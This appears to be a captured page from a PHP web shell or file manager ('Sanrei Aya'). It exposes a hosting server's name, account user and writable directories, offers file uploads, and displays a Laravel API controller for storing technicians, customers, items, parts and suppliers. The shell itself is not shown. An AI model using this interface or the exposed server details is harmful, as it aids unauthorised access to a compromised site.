Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/app/Http/Controllers/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/app/Http/Controllers/API/GlobalAPITransController.php
<?php

namespace App\Http\Controllers\API;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Storage;
use App\Models\Master\Tenant;
use App\Models\Master\Technician;
use App\Models\Master\Customer;
use App\Models\Master\Item;
use App\Models\Master\Part;
use App\Models\Master\Supplier;
use App\Models\Master\Setting\ServiceType;
use App\Models\Trans\Maintenance;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use Carbon\Carbon;

class GlobalAPITransController extends Controller
{
    public function technician_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $validator = Validator::make($request->all(), [
            'name' => ['required', 'string', 'max:100'],
            'phone' => ['required', 'string', 'lowercase', 'max:50'],
        ]);

        if ($validator->fails()) {
            return response()->json(['message'=>'input failed', 'value'=>$validator->getMessageBag()->toArray()]);
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_technician'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }

            $technician = Technician::create([
                'name' => $request->name,
                'address' => $request->address,
                'email' => $request->email,
                'phone' => $request->phone,
                'map' => $request->map,
                'image' => $image,
                'description' => $request->description,
                'tenant_id' => $request->tenant_id,
                'is_active' => $request->is_active != null ? 1: 0,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'store success', 'value'=>$technician]);
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_technician') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_technician') . '/' . $image);
            }

            return response()->json(['message'=>'store error', 'value'=>$validator->getMessageBag()->toArray()]);
        }
    }

    public function customer_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $validator = Validator::make($request->all(), [
            'name' => ['required', 'string', 'max:100'],
            'phone' => ['required', 'string', 'lowercase', 'max:50'],
        ]);

        if ($validator->fails()) {
            return response()->json(['message'=>'input failed', 'value'=>$validator->getMessageBag()->toArray()]);
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_customer'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }

            $customer = Customer::create([
                'name' => $request->name,
                'address' => $request->address,
                'email' => $request->email,
                'phone' => $request->phone,
                'map' => $request->map,
                'image' => $image,
                'description' => $request->description,
                'tenant_id' => $request->tenant_id,
                'is_active' => $request->is_active != null ? 1: 0,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'store success', 'value'=>$customer]);
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_customer') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_customer') . '/' . $image);
            }

            return response()->json(['message'=>'store error', 'value'=>$validator->getMessageBag()->toArray()]);
        }
    }

    public function item_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $validator = Validator::make($request->all(), [
            'name' => ['required', 'string', 'max:100'],
        ]);

        if ($validator->fails()) {
            return response()->json(['message'=>'input failed', 'value'=>$validator->getMessageBag()->toArray()]);
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_item'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }

            $item = item::create([
                'code' => $request->code,
                'name' => $request->name,
                'image' => $image,
                'description' => $request->description,
                'customer_id' => $request->customer_id,
                'is_active' => $request->is_active != null ? 1: 0,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'store success', 'value'=>$item]);
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_item') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_item') . '/' . $image);
            }

            return response()->json(['message'=>'store error', 'value'=>$validator->getMessageBag()->toArray()]);
        }
    }

    public function image_item_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_item'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }

            $item = item::where('id', '=', $request->item_id)->update([
                'image' => $image,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'update success', 'value'=>$image]);
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_item') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_item') . '/' . $image);
            }

            return response()->json(['message'=>'update error']);
        }
    }

    public function service_type_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $validator = Validator::make($request->all(), [
            'name' => ['required', 'string', 'max:100'],
        ]);

        if ($validator->fails()) {
            return response()->json(['message'=>'input failed', 'value'=>$validator->getMessageBag()->toArray()]);
        }

        DB::beginTransaction();
        try {
            $service_type = ServiceType::create([
                'name' => $request->name,
                'description' => $request->description,
                'tenant_id' => $request->tenant_id,
                'is_active' => $request->is_active != null ? 1: 0,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'store success', 'value'=>$service_type]);
        } catch (\Exception $e) {
            DB::rollBack();

            return response()->json(['message'=>'store error', 'value'=>$validator->getMessageBag()->toArray()]);
        }
    }

    public function part_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $validator = Validator::make($request->all(), [
            'name' => ['required', 'string', 'max:100'],
        ]);

        if ($validator->fails()) {
            return response()->json(['message'=>'input failed', 'value'=>$validator->getMessageBag()->toArray()]);
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_part'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }

            $part = part::create([
                'code' => $request->code,
                'name' => $request->name,
                'rate' => $request->rate,
                'image' => $image,
                'description' => $request->description,
                'supplier_id' => $request->supplier_id,
                'is_active' => $request->is_active != null ? 1: 0,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'store success', 'value'=>$part]);
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_part') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_part') . '/' . $image);
            }

            return response()->json(['message'=>'store error', 'value'=>$validator->getMessageBag()->toArray()]);
        }
    }

    public function supplier_store(Request $request) {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $request->tenant_id) {
            return response()->json(['message'=>'system blocked, wrong id']);
        }

        $validator = Validator::make($request->all(), [
            'name' => ['required', 'string', 'max:100'],
            'phone' => ['required', 'string', 'lowercase', 'max:50'],
        ]);

        if ($validator->fails()) {
            return response()->json(['message'=>'input failed', 'value'=>$validator->getMessageBag()->toArray()]);
        }

        $image = null;
        DB::beginTransaction();
        try {
            // check uploaded image
            if (isset($request->image)) {
                $files = $request->image;
                $filename = $files->store(config('app.dir_file_supplier'), 'public');
                $image = pathinfo(storage_path($filename), PATHINFO_BASENAME);
            } else {
                $image = null;
            }

            $supplier = Supplier::create([
                'name' => $request->name,
                'address' => $request->address,
                'email' => $request->email,
                'phone' => $request->phone,
                'map' => $request->map,
                'image' => $image,
                'description' => $request->description,
                'tenant_id' => $request->tenant_id,
                'is_active' => $request->is_active != null ? 1: 0,
            ]);
    
            DB::commit();
            return response()->json(['message'=>'store success', 'value'=>$supplier]);
        } catch (\Exception $e) {
            DB::rollBack();

            // remove image failed insert data
            if (Storage::disk('public')->exists(config('app.dir_file_supplier') . '/'. $image)) {
                Storage::disk('public')->delete(config('app.dir_file_supplier') . '/' . $image);
            }

            return response()->json(['message'=>'store error', 'value'=>$validator->getMessageBag()->toArray()]);
        }
    }

    public function item_show($column, $value, $customer_id) {
        $query = Item::with('customer.tenant')->where($column, '=', $value)->where('is_active', '=', 1);

        if (Auth::user()->model_type == 'App\Models\Master\Tenant') {
            $query = $query->whereRelation('customer.tenant', 'id', '=', Auth::user()->model_id);
        }

        if ($customer_id != 0) {
            $query = $query->where('customer_id', '=', $customer_id);
        }

        $query = $query->first();

        return response()->json($query);
    }

    public function part_show($column, $value) {
        $query = Part::with('supplier', 'supplier.tenant')->where($column, '=', $value)->where('is_active', '=', 1);
        if (Auth::user()->model_type == 'App\Models\Master\Tenant') {
            $query = $query->whereRelation('supplier.tenant', 'id', '=', Auth::user()->model_id);
        }

        $query = $query->first();

        return response()->json($query);
    }
}

Yohohohohohooho | Sanrei Aya